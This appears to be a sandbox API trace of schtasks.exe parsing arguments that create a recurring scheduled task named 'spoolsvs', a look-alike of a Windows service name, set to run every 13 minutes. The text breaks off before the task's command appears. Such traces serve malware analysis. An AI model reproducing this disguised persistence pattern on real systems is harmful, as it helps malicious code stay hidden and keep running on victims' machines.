lstrlenW (lpString="sc") returned 2 [0159.228] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] lstrlenW (lpString="tn") returned 2 [0159.228] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.228] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.228] lstrlenW (lpString="|sc|") returned 4 [0159.228] lstrlenW (lpString="|tn|") returned 4 [0159.228] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0159.228] SetLastError (dwErrCode=0x490) [0159.228] lstrlenW (lpString="mo") returned 2 [0159.228] lstrlenW (lpString="mo") returned 2 [0159.228] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] lstrlenW (lpString="tn") returned 2 [0159.228] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.228] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.228] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.228] lstrlenW (lpString="|mo|") returned 4 [0159.228] lstrlenW (lpString="|tn|") returned 4 [0159.228] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0159.229] SetLastError (dwErrCode=0x490) [0159.229] lstrlenW (lpString="d") returned 1 [0159.229] lstrlenW (lpString="d") returned 1 [0159.229] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] lstrlenW (lpString="tn") returned 2 [0159.229] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|d|") returned 3 [0159.229] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.229] lstrlenW (lpString="|d|") returned 3 [0159.229] lstrlenW (lpString="|tn|") returned 4 [0159.229] SetLastError (dwErrCode=0x490) [0159.229] lstrlenW (lpString="m") returned 1 [0159.229] lstrlenW (lpString="m") returned 1 [0159.229] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] lstrlenW (lpString="tn") returned 2 [0159.229] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|m|") returned 3 [0159.229] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.229] lstrlenW (lpString="|m|") returned 3 [0159.229] lstrlenW (lpString="|tn|") returned 4 [0159.229] SetLastError (dwErrCode=0x490) [0159.229] lstrlenW (lpString="i") returned 1 [0159.229] lstrlenW (lpString="i") returned 1 [0159.229] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] lstrlenW (lpString="tn") returned 2 [0159.229] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.229] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|i|") returned 3 [0159.229] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.229] lstrlenW (lpString="|i|") returned 3 [0159.229] lstrlenW (lpString="|tn|") returned 4 [0159.229] SetLastError (dwErrCode=0x490) [0159.230] lstrlenW (lpString="tn") returned 2 [0159.230] lstrlenW (lpString="tn") returned 2 [0159.230] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.230] lstrlenW (lpString="tn") returned 2 [0159.230] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.230] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.230] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tn|") returned 4 [0159.230] lstrlenW (lpString="|tn|") returned 4 [0159.230] lstrlenW (lpString="|tn|") returned 4 [0159.230] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0159.230] SetLastError (dwErrCode=0x0) [0159.230] SetLastError (dwErrCode=0x0) [0159.230] lstrlenW (lpString="spoolsvs") returned 8 [0159.230] lstrlenW (lpString="-/") returned 2 [0159.230] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0159.230] SetLastError (dwErrCode=0x490) [0159.230] SetLastError (dwErrCode=0x490) [0159.230] SetLastError (dwErrCode=0x0) [0159.230] lstrlenW (lpString="spoolsvs") returned 8 [0159.230] StrChrIW (lpStart="spoolsvs", wMatch=0x3a) returned 0x0 [0159.230] SetLastError (dwErrCode=0x490) [0159.230] SetLastError (dwErrCode=0x0) [0159.230] lstrlenW (lpString="spoolsvs") returned 8 [0159.230] SetLastError (dwErrCode=0x0) [0159.230] SetLastError (dwErrCode=0x0) [0159.230] lstrlenW (lpString="/sc") returned 3 [0159.230] lstrlenW (lpString="-/") returned 2 [0159.230] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.230] lstrlenW (lpString="create") returned 6 [0159.230] lstrlenW (lpString="create") returned 6 [0159.230] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.230] lstrlenW (lpString="sc") returned 2 [0159.230] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.230] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.230] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.231] lstrlenW (lpString="|create|") returned 8 [0159.231] lstrlenW (lpString="|sc|") returned 4 [0159.231] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0159.231] SetLastError (dwErrCode=0x490) [0159.231] lstrlenW (lpString="?") returned 1 [0159.231] lstrlenW (lpString="?") returned 1 [0159.231] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] lstrlenW (lpString="sc") returned 2 [0159.231] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|?|") returned 3 [0159.231] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.231] lstrlenW (lpString="|?|") returned 3 [0159.231] lstrlenW (lpString="|sc|") returned 4 [0159.231] SetLastError (dwErrCode=0x490) [0159.231] lstrlenW (lpString="s") returned 1 [0159.231] lstrlenW (lpString="s") returned 1 [0159.231] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] lstrlenW (lpString="sc") returned 2 [0159.231] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|s|") returned 3 [0159.231] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.231] lstrlenW (lpString="|s|") returned 3 [0159.231] lstrlenW (lpString="|sc|") returned 4 [0159.231] SetLastError (dwErrCode=0x490) [0159.231] lstrlenW (lpString="u") returned 1 [0159.231] lstrlenW (lpString="u") returned 1 [0159.231] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] lstrlenW (lpString="sc") returned 2 [0159.231] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.231] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|u|") returned 3 [0159.231] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.231] lstrlenW (lpString="|u|") returned 3 [0159.231] lstrlenW (lpString="|sc|") returned 4 [0159.232] SetLastError (dwErrCode=0x490) [0159.232] lstrlenW (lpString="p") returned 1 [0159.232] lstrlenW (lpString="p") returned 1 [0159.232] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] lstrlenW (lpString="sc") returned 2 [0159.232] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|p|") returned 3 [0159.232] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.232] lstrlenW (lpString="|p|") returned 3 [0159.232] lstrlenW (lpString="|sc|") returned 4 [0159.232] SetLastError (dwErrCode=0x490) [0159.232] lstrlenW (lpString="ru") returned 2 [0159.232] lstrlenW (lpString="ru") returned 2 [0159.232] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] lstrlenW (lpString="sc") returned 2 [0159.232] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ru|") returned 4 [0159.232] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.232] lstrlenW (lpString="|ru|") returned 4 [0159.232] lstrlenW (lpString="|sc|") returned 4 [0159.232] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0159.232] SetLastError (dwErrCode=0x490) [0159.232] lstrlenW (lpString="rp") returned 2 [0159.232] lstrlenW (lpString="rp") returned 2 [0159.232] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] lstrlenW (lpString="sc") returned 2 [0159.232] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.232] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|rp|") returned 4 [0159.232] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.232] lstrlenW (lpString="|rp|") returned 4 [0159.232] lstrlenW (lpString="|sc|") returned 4 [0159.232] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0159.232] SetLastError (dwErrCode=0x490) [0159.232] lstrlenW (lpString="sc") returned 2 [0159.233] lstrlenW (lpString="sc") returned 2 [0159.233] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.233] lstrlenW (lpString="sc") returned 2 [0159.233] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.233] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.233] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.233] lstrlenW (lpString="|sc|") returned 4 [0159.233] lstrlenW (lpString="|sc|") returned 4 [0159.233] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0159.233] SetLastError (dwErrCode=0x0) [0159.233] SetLastError (dwErrCode=0x0) [0159.233] lstrlenW (lpString="MINUTE") returned 6 [0159.233] lstrlenW (lpString="-/") returned 2 [0159.233] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0159.233] SetLastError (dwErrCode=0x490) [0159.233] SetLastError (dwErrCode=0x490) [0159.233] SetLastError (dwErrCode=0x0) [0159.233] lstrlenW (lpString="MINUTE") returned 6 [0159.233] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0159.233] SetLastError (dwErrCode=0x490) [0159.233] SetLastError (dwErrCode=0x0) [0159.233] GetProcessHeap () returned 0x220000 [0159.233] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d530 [0159.233] _memicmp (_Buf1=0x23d530, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.233] lstrlenW (lpString="MINUTE") returned 6 [0159.233] GetProcessHeap () returned 0x220000 [0159.233] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d550 [0159.233] lstrlenW (lpString="MINUTE") returned 6 [0159.233] lstrlenW (lpString=" \x09") returned 2 [0159.233] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0159.233] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0159.233] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0159.234] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0159.234] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0159.234] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0159.234] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0159.234] GetLastError () returned 0x0 [0159.234] lstrlenW (lpString="MINUTE") returned 6 [0159.234] lstrlenW (lpString="MINUTE") returned 6 [0159.234] SetLastError (dwErrCode=0x0) [0159.234] SetLastError (dwErrCode=0x0) [0159.234] lstrlenW (lpString="/mo") returned 3 [0159.234] lstrlenW (lpString="-/") returned 2 [0159.234] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.234] lstrlenW (lpString="create") returned 6 [0159.234] lstrlenW (lpString="create") returned 6 [0159.234] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.234] lstrlenW (lpString="mo") returned 2 [0159.234] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.234] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.234] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.234] lstrlenW (lpString="|create|") returned 8 [0159.234] lstrlenW (lpString="|mo|") returned 4 [0159.234] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0159.234] SetLastError (dwErrCode=0x490) [0159.234] lstrlenW (lpString="?") returned 1 [0159.234] lstrlenW (lpString="?") returned 1 [0159.234] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.234] lstrlenW (lpString="mo") returned 2 [0159.234] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.234] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|?|") returned 3 [0159.234] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.234] lstrlenW (lpString="|?|") returned 3 [0159.234] lstrlenW (lpString="|mo|") returned 4 [0159.234] SetLastError (dwErrCode=0x490) [0159.234] lstrlenW (lpString="s") returned 1 [0159.234] lstrlenW (lpString="s") returned 1 [0159.235] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] lstrlenW (lpString="mo") returned 2 [0159.235] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|s|") returned 3 [0159.235] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.235] lstrlenW (lpString="|s|") returned 3 [0159.235] lstrlenW (lpString="|mo|") returned 4 [0159.235] SetLastError (dwErrCode=0x490) [0159.235] lstrlenW (lpString="u") returned 1 [0159.235] lstrlenW (lpString="u") returned 1 [0159.235] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] lstrlenW (lpString="mo") returned 2 [0159.235] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|u|") returned 3 [0159.235] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.235] lstrlenW (lpString="|u|") returned 3 [0159.235] lstrlenW (lpString="|mo|") returned 4 [0159.235] SetLastError (dwErrCode=0x490) [0159.235] lstrlenW (lpString="p") returned 1 [0159.235] lstrlenW (lpString="p") returned 1 [0159.235] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] lstrlenW (lpString="mo") returned 2 [0159.235] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|p|") returned 3 [0159.235] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.235] lstrlenW (lpString="|p|") returned 3 [0159.235] lstrlenW (lpString="|mo|") returned 4 [0159.235] SetLastError (dwErrCode=0x490) [0159.235] lstrlenW (lpString="ru") returned 2 [0159.235] lstrlenW (lpString="ru") returned 2 [0159.235] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.235] lstrlenW (lpString="mo") returned 2 [0159.235] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ru|") returned 4 [0159.236] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.236] lstrlenW (lpString="|ru|") returned 4 [0159.236] lstrlenW (lpString="|mo|") returned 4 [0159.236] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0159.236] SetLastError (dwErrCode=0x490) [0159.236] lstrlenW (lpString="rp") returned 2 [0159.236] lstrlenW (lpString="rp") returned 2 [0159.236] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] lstrlenW (lpString="mo") returned 2 [0159.236] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|rp|") returned 4 [0159.236] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.236] lstrlenW (lpString="|rp|") returned 4 [0159.236] lstrlenW (lpString="|mo|") returned 4 [0159.236] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0159.236] SetLastError (dwErrCode=0x490) [0159.236] lstrlenW (lpString="sc") returned 2 [0159.236] lstrlenW (lpString="sc") returned 2 [0159.236] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] lstrlenW (lpString="mo") returned 2 [0159.236] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|sc|") returned 4 [0159.236] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.236] lstrlenW (lpString="|sc|") returned 4 [0159.236] lstrlenW (lpString="|mo|") returned 4 [0159.236] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0159.236] SetLastError (dwErrCode=0x490) [0159.236] lstrlenW (lpString="mo") returned 2 [0159.236] lstrlenW (lpString="mo") returned 2 [0159.236] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.236] lstrlenW (lpString="mo") returned 2 [0159.236] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.237] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.237] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|mo|") returned 4 [0159.237] lstrlenW (lpString="|mo|") returned 4 [0159.237] lstrlenW (lpString="|mo|") returned 4 [0159.237] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0159.237] SetLastError (dwErrCode=0x0) [0159.237] SetLastError (dwErrCode=0x0) [0159.237] lstrlenW (lpString="13") returned 2 [0159.237] lstrlenW (lpString="-/") returned 2 [0159.237] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0159.237] SetLastError (dwErrCode=0x490) [0159.237] SetLastError (dwErrCode=0x490) [0159.240] SetLastError (dwErrCode=0x0) [0159.240] lstrlenW (lpString="13") returned 2 [0159.241] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0159.241] SetLastError (dwErrCode=0x490) [0159.241] SetLastError (dwErrCode=0x0) [0159.241] _memicmp (_Buf1=0x23d530, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.241] lstrlenW (lpString="13") returned 2 [0159.241] lstrlenW (lpString="13") returned 2 [0159.241] lstrlenW (lpString=" \x09") returned 2 [0159.241] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0159.241] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0159.241] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0159.241] GetLastError () returned 0x0 [0159.241] lstrlenW (lpString="13") returned 2 [0159.241] lstrlenW (lpString="13") returned 2 [0159.241] GetProcessHeap () returned 0x220000 [0159.241] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23b960 [0159.241] SetLastError (dwErrCode=0x0) [0159.241] SetLastError (dwErrCode=0x0) [0159.241] lstrlenW (lpString="/tr") returned 3 [0159.241] lstrlenW (lpString="-/") returned 2 [0159.241] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.241] lstrlenW (lpString="create") returned 6 [0159.241] lstrlenW (lpString="create") returned 6 [0159.241] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.241] lstrlenW (lpString="tr") returned 2 [0159.241] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.241] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|create|") returned 8 [0159.241] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.241] lstrlenW (lpString="|create|") returned 8 [0159.242] lstrlenW (lpString="|tr|") returned 4 [0159.242] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0159.242] SetLastError (dwErrCode=0x490) [0159.242] lstrlenW (lpString="?") returned 1 [0159.242] lstrlenW (lpString="?") returned 1 [0159.242] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] lstrlenW (lpString="tr") returned 2 [0159.242] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|?|") returned 3 [0159.242] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.242] lstrlenW (lpString="|?|") returned 3 [0159.242] lstrlenW (lpString="|tr|") returned 4 [0159.242] SetLastError (dwErrCode=0x490) [0159.242] lstrlenW (lpString="s") returned 1 [0159.242] lstrlenW (lpString="s") returned 1 [0159.242] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] lstrlenW (lpString="tr") returned 2 [0159.242] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|s|") returned 3 [0159.242] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.242] lstrlenW (lpString="|s|") returned 3 [0159.242] lstrlenW (lpString="|tr|") returned 4 [0159.242] SetLastError (dwErrCode=0x490) [0159.242] lstrlenW (lpString="u") returned 1 [0159.242] lstrlenW (lpString="u") returned 1 [0159.242] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] lstrlenW (lpString="tr") returned 2 [0159.242] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.242] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|u|") returned 3 [0159.242] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.242] lstrlenW (lpString="|u|") returned 3 [0159.242] lstrlenW (lpString="|tr|") returned 4 [0159.242] SetLastError (dwErrCode=0x490) [0159.243] lstrlenW (lpString="p") returned 1 [0159.243] lstrlenW (lpString="p") returned 1 [0159.243] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] lstrlenW (lpString="tr") returned 2 [0159.243] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|p|") returned 3 [0159.243] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.243] lstrlenW (lpString="|p|") returned 3 [0159.243] lstrlenW (lpString="|tr|") returned 4 [0159.243] SetLastError (dwErrCode=0x490) [0159.243] lstrlenW (lpString="ru") returned 2 [0159.243] lstrlenW (lpString="ru") returned 2 [0159.243] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] lstrlenW (lpString="tr") returned 2 [0159.243] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.243] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ru|") returned 4 [0159.243] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|tr|") returned 4 [0159.243] lstrlenW (lpString="|ru|") returned 4 [0159.243] lstrlenW (lpString="|tr|") returned 4 [0159.243] StrStrIW 